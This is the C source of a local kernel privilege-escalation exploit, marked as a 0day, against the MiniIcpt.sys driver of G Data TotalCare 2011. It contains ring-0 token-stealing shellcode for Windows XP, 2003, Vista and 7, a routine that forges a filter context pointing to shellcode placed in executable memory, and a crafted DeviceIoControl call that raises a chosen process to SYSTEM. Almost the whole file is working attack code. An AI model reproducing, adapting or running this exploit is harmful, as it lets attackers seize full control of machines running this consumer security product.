G Data TotalCare 2011 - Local Kernel Exploit (0day)



/*

# Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit
# Date: 2010-11-08 
# Author: Nikita Tarakanov (CISS Research Team)
# Software Link: http://www.gdata.de/
# Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9
# Tested on: Win XP SP3
# CVE : CVE-NO-MATCH
# Status : Unpatched
*/
#include <stdio.h>
#include "winsock2.h"
#include <windows.h>

#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "Ws2_32.lib")


static unsigned char win2k3_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\xb0\x18\x02\x00\x00"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x94\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x9c\x00\x00\x00"
  "\x2d\x98\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xd8\x00\x00\x00"
  "\x89\x88\xd8\x00\x00\x00"
  "\x90";

static unsigned char winvista_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  //"\x8b\x00"
  "\x8b\x70\x48"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x9c\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xa4\x00\x00\x00"
  "\x2d\xa0\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xe0\x00\x00\x00"
  "\x89\x88\xe0\x00\x00\x00"
  "\x90";


static unsigned char win7_ring0_shell[] =
  /* _ring0 */
  "\x64\xa1\x24\x01\x00\x00"
  "\x8b\x70\x50"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\xb4\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\xbc\x00\x00\x00"
  "\x2d\xb8\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xf8\x00\x00\x00"
  "\x89\x88\xf8\x00\x00\x00"
  "\x90";


static unsigned char winxp_ring0_shell[] =
  /* _ring0 */
  "\xb8\x24\xf1\xdf\xff"
  "\x8b\x00"
  "\x8b\x70\x44"
  "\x89\xf0"
  /* _sys_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x04\x00\x00\x00"
  "\x74\x11"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  "\xeb\x21"
  /* _sys_eprocess_found  */
  "\x89\xc1"
  "\x89\xf0"

  /* _cmd_eprocess_loop   */
  "\x8b\x98\x84\x00\x00\x00"
  "\x81\xfb\x00\x00\x00\x00"
  "\x74\x10"
  "\x8b\x80\x8c\x00\x00\x00"
  "\x2d\x88\x00\x00\x00"
  "\x39\xf0"
  "\x75\xe3"
  /* _not_found           */
  "\xcc"
  /* _cmd_eprocess_found
   * _ring0_end           */

  /* copy tokens!$%!      */
  "\x8b\x89\xc8\x00\x00\x00"
  "\x89\x88\xc8\x00\x00\x00"
  "\x90";


static unsigned char freeze[] =
  "\xeb\xfe";// jmp $0



void craft_fake_flt_context(char* buff, LPVOID shellcode_addr)
{
    DWORD references = 1;    
    DWORD *Entry;

    Entry = (DWORD*)malloc(0x8);

    Entry[0] = Entry;//Entry[0] == esi
    Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode

    memcpy(buff-0x4, &references, 0x4);
    memcpy(buff-0x28, Entry, 0x4);
}

static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
{
    DWORD dwVersion, dwMajorVersion, dwMinorVersion;

    dwVersion = GetVersion ();
    dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
    dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

    printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);

    switch (dwMajorVersion)
    {
        case 5:
            switch (dwMinorVersion)
            {
                case 1:
                    *zlen = sizeof winxp_ring0_shell - 1;
                    *(PDWORD) &winxp_ring0_shell[55] = ppid;
                    return (winxp_ring0_shell);

                case 2:
                    *zlen = sizeof win2k3_ring0_shell - 1;
                    *(PDWORD) &win2k3_ring0_shell[58] = ppid;
                    return (win2k3_ring0_shell);

                default:
                    printf("GetVersion, unsupported version\n");
                    exit(EXIT_FAILURE);
            }

        case 6:
            switch (dwMinorVersion)
            {
                case 0:
                    *zlen = sizeof winvista_ring0_shell - 1;
                    *(PDWORD) &winvista_ring0_shell[54] = ppid;
                    return (winvista_ring0_shell);

                case 1:
                    *zlen = sizeof win7_ring0_shell - 1;
                    *(PDWORD) &win7_ring0_shell[54] = ppid;
                    return (win7_ring0_shell);

                default:
                    printf("GetVersion, unsupported version\n");
                    exit(EXIT_FAILURE);
            }

        default:
            printf("GetVersion, unsupported version\n");
            exit(EXIT_FAILURE);
    }

    return (NULL);
}


int main(int argc, char **argv)
{
    HANDLE   hDevice, hThread;
    char *inbuff, *inbuffer;
    DWORD *buff;
    DWORD ioctl = 0x83170180, in = 0xC, out = 0x0C, len, zlen, ppid;
    LPVOID zpage, zbuf;

    printf ("G Data TotalCare 2011 0day Local Kernel Exploit\n"
          "by: Nikita Tarakanov (CISS Research Team)\n");


    if (argc <= 1)
    {
        printf("Usage: %s <processid to elevate>\n", argv[0]);
        return 0;
    }

    ppid = atoi(argv[1]);

    zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (zpage == NULL)
    {
        printf("VirtualAlloc failed\n");
        return 0;
    }
    printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);

    memset(zpage, 0xCC, 0x1000);
    zbuf = fixup_ring0_shell(ppid, &zlen);
    memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
    memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);

    
    if ( (hDevice = CreateFileA("\\\\.\\MiniIcptControlDevice0", 
                          GENERIC_READ|GENERIC_WRITE,
                          0,
                          0,
                          OPEN_EXISTING,
                          0,
                          NULL) ) != INVALID_HANDLE_VALUE )
    {
        printf("Device succesfully opened!\n");
    }
    else
    {
        printf("Error: Error opening device \n");
        return 0;
    }    
    
    inbuff = (char *)malloc(0x1000);
    memset(inbuff, 0x90, 0x1000);
    buff = (DWORD *)malloc(0x1000);
    if(!inbuff){
        printf("malloc failed!\n");
        return 0;
    }

    
    inbuffer = inbuff + 0x40;
    printf("crafting\n");
    craft_fake_flt_context(inbuffer, zpage);
    printf("deviceio!\n");
    buff[0] = inbuffer;

    DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL);
    free(inbuff);

    return 0;

}